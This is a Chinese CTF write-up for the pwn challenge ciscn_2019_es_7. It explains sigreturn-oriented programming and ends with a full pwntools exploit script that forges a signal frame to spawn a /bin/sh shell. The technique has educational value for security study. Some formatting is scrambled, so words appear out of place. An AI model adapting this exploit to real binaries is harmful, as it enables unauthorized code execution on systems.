ciscn_2019_es_7
附件
步骤:
- 例行检查,64位程序,开启了nx保护
- 本地试运行一下看看大概的情况
- 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出
-
看到系统调用和溢出,想到了SROP,之前遇到过一次,关于原理可以看一下这两篇文章
https://www.freebuf.com/articles/network/87447.html
https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/srop/?h=+sr
-
具体的原理看上面的链接,贴一下第一篇文章里的知识点(有删改)
如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。
在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址
,这个地址指向一段代码,在这段代码中会调用rt_sigreturn
系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向sigreturn
,所以,signal handler函数的最后一条rt_sigreturn
指令会使得执行流跳转到这段sigreturn代码,被动地进行ret
系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及sigreturn
,我们将这段内存称为一个rt_sigreturn
。 在内核Signal Frame
系统调用处理函数中,会根据当前的栈指针指向的sigreturn
对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。Signal Frame
Signal机制缺陷利用
首先,内核替用户进程将其上下文保存在
Signal Frame
中,然后,内核利用这个
Signal Frame
恢复用户进程的上下文,done!那么,问题来了:
第一、这个
Signal Frame
是被保存在用户进程的地址空间中的,是用户进程可读写的;
第二、内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在
sigreturn
这个系统调用的处理函数中,内核并没有判断当前的这个
Signal Frame
就是之前内核为用户进程保存的那个
Signal Frame
按照作者slides里面的说法,“kernel agnostic about signal handlers”既是一个优点,因为内核不需要花精力来记录其发起的signal,但是,这也是一个缺点,正因为内核对其的不可知性,使得恶意的用户进程可以对其进行伪造!
让我们先来假设一个攻击者可以控制用户进程的栈,那么它就可以伪造一个
Signal Frame
,如下图所示
在这个伪造的
Signal Frame
中,将
rax
设置成59(即
execve
系统调用号),将
rdi
设置成字符串
/bin/sh
的地址(该字符串可以是攻击者写在栈上的),将
rip
设置成系统调用指令
syscall
的内存地址,最后,将
rt_sigreturn
手动设置成
sigreturn
系统调用的内存地址。那么,当这个伪造的
sigreturn
系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦
sigreturn
返回,就会去执行
execve
系统调用,打开一个shell。
这是一个最简单的攻击。在这个攻击中,有4个前提条件:
第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
第二,需要知道栈的地址(比如需要知道自己构造的字符串
/bin/sh
的地址);
第三,需要知道
syscall
指令在内存中的地址;
第四,需要知道
sigreturn
系统调用的内存地址。
搞清楚上述的内容后就可以解出这道题了
- buf存在溢出,可以控制栈上的内容,满足了第一个条件
- 程序使用了一次read一次write,buf的大小只有0x10,但是write打印了0x30,会打印多余的东西,
rax=0x4004f1
p.send("/bin/sh"+"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)
我们先往buf里写入内容,write会打印出来,接收看一下,打印出来了多余的地址,我们接收一下就获得了栈上的地址
找一下‘bin/sh’在栈上的地址
调试的时候使用
info proc map
命令查看当前进程的内存映射,
find 0x7ffe697c1000,0x7ffe697e2000,"/bin/sh"
在栈中查找‘/bin/sh’的地址,找到它在栈上的地址是
0x7ffe697e0160
,与泄露出来的栈上的地址的偏移是
0x7ffe697e0278-0x7ffe697e0160=0x118
,每次加载的地址都不一样,但是泄露的栈地址和bin/sh的偏移是固定的,所以我们可以用stack_addr-0x118来表示bin/sh的地址
这里面就有了栈地址和bin/sh的地址,满足了第二个条件
- 找一下
指令在内存中的地址,利用SROP构造系统调用串(System call chains),满足了第三个条件syscall;ret
-
sigreturn
系统调用的内存地址
如果我们将
当做一个系统调用来看待的话,那么其实这个单独的gadget并不是必须的。因为我们可以将sigreturn
寄存器设置成15(sigreturn的系统调用号),然后调用一个rax
,效果和调用一个syscall
sigreturn
是一样一样的。
发现程序里有现成的rax=15(调用
)和rax=59(调用sigreturn
),满足了第四个条件execv
- 条件都满足了,接下来就可以用pwntools来帮助我们生成这个
了Signal Frame
context(os='linux',arch='amd64',log_level='debug')
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
- 最后利用溢出,完成SROP利用
p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))
完整exp:根据ctfwiki上的修改
from pwn import *
from LibcSearcher import *
#context.arch='amd64'
context(os='linux',arch='amd64',log_level='debug')
p=process("./ciscn_2019_es_7")
#p=remote('node3.buuoj.cn',26447)
syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004E2
rax=0x4004f1
p.send("/bin/sh"+"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)
#gdb.attach(p)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))
p.interactive()